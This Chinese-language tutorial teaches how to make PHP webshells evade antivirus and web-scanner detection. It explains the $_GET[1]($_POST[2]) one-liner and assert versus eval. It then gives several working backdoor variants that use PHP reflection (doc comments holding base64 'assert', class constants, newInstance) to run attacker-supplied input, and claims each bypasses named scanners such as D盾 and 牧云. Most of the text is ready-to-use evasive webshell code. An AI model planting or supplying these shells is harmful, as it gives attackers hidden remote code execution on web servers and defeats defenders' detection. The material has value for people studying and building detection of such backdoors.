webshell
对于渗透测试者来说是既是一种结束也是一种开始;一个免杀的webshell
是我们在渗透测试过程中能否拿到目标权限的一个“前提”,首先webshell需要存活,其次是否能够执行命令,最后我们使用webshell管理工具时流量是否被拦截。所以免杀至关重要。
很奇怪,我学习安全接触的的第一个一句话木马就是它:$_GET[1]($_POST[2]);
,并且令我印象深刻。当时不太理解这个是因为PHP太灵活了,没想到还有这种写法:
这个木马和上面的例子一样,是一种可变函数,$_GET[1]
写为字符串assert
,$_POST[2]
写为命令phpinfo()
。
值得一提的是assert和eval:
手册写到eval()不是一个函数而是一个语言构造器,所以不能被可变函数调用;eval() 把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
而assert()是一个函数,所以它相比eval灵活许多,可以被可变函数调用,也可以被回调函数来调用。
## 思考
我们通过webshell执行命令,是通过我们可控的参数来达到目的,而上面的一句话木马我们可控的部分为POST和GET参数。只要稍作改变就可以绕过D盾的检测
<?php foreach (array('_GET') as $_request) { foreach ($$_request as $_key=>$_value) { $$_key = $_value; $_key($_value); } }
可以看到这里并没有达到免杀效果
从可变函数的例子我们可以受到一些启发,通过翻阅PHP手册中的反射部分,我们可以得到一些可以利用的函数
PHP中有这样一个函数,它可以获取php注释的内容
public ReflectionClass::getDocComment( void) : string
某些查杀引擎在查杀的时候,会做类似于编译器的优化,去掉我们所写的注释。毕竟注释是不能运行的,如果我们将参数通过非常规的方式传输进来,这样或许可以绕过一些查杀引擎呢。我们知道,安全狗查形,D盾查参,就拿D盾来试一试。
<?php /** * YXNzZXJ0YWE= */ class Example { public function fn() { } } $reflector = new ReflectionClass('Example'); $zhushi = substr(($reflector->getDocComment()), 7, 12); $zhushi = base64_decode($zhushi); $zhushi = substr($zhushi, 0, 6); // foreach (array('_POST','_GET') as $_request) { foreach ($$_request as $_key=>$_value) { $$_key= $_value; print_r($$_request); } } $zhushi($_value);
public ReflectionClass::getConstants(void) : array
获取某个类的全部已定义的常量,不管可见性如何定义。
class Test { const a = 'As'; const b = 'se'; const c = 'rt'; public function __construct() { } } $para1; $para2; $reflector = new ReflectionClass('Test'); for ($i=97; $i <= 99; $i++) { $para1 = $reflector->getConstant(chr($i)); $para2.=$para1; } foreach (array('_POST','_GET') as $_request) { foreach ($$_request as $_key=>$_value) { $$_key= $_value; } } $para2($_value);
public ReflectionClass::getConstants(void) : array
获取某个类的全部已定义的常量,不管可见性如何定义。
<?php class Test { const a = array(1=>'aS',2=>'se',3=>'rT'); public function __construct() { } } $refl = new ReflectionClass('Test'); foreach ($refl->getConstants() as $key => $value) { foreach ($value as $key => $value1) { $value2.=$value1; } } foreach (array('_POST','_GET') as $_request) { foreach ($$_request as $_key=>$_value) { $$_key= $_value; } } $value2($_value);
P牛的《PHP动态特性的捕捉与逃逸》中提到了一个点,
除了PPT里提到的trick,还能想到什么呢?
public ReflectionClass::newInstance( mixed $args[, mixed $...] ) : object
简单地说,这个方法可以创建一个类的实例,同时该函数传递的参数会传递到该类的构造函数
需要注意的是,该方法传参和call_user_func()
相似,不能使用引用类型传参,如果要使用引用类型使用另一个方法newInstanceArgs
class Test1 { public function __construct($para) { //assert } } $class1 = new ReflectionClass("Test1"); $para = ''; //可控的$para $class2 = $class1->newInstance($para);
基本的框架就是这样了,对框架进行变形也可绕过"牧云"。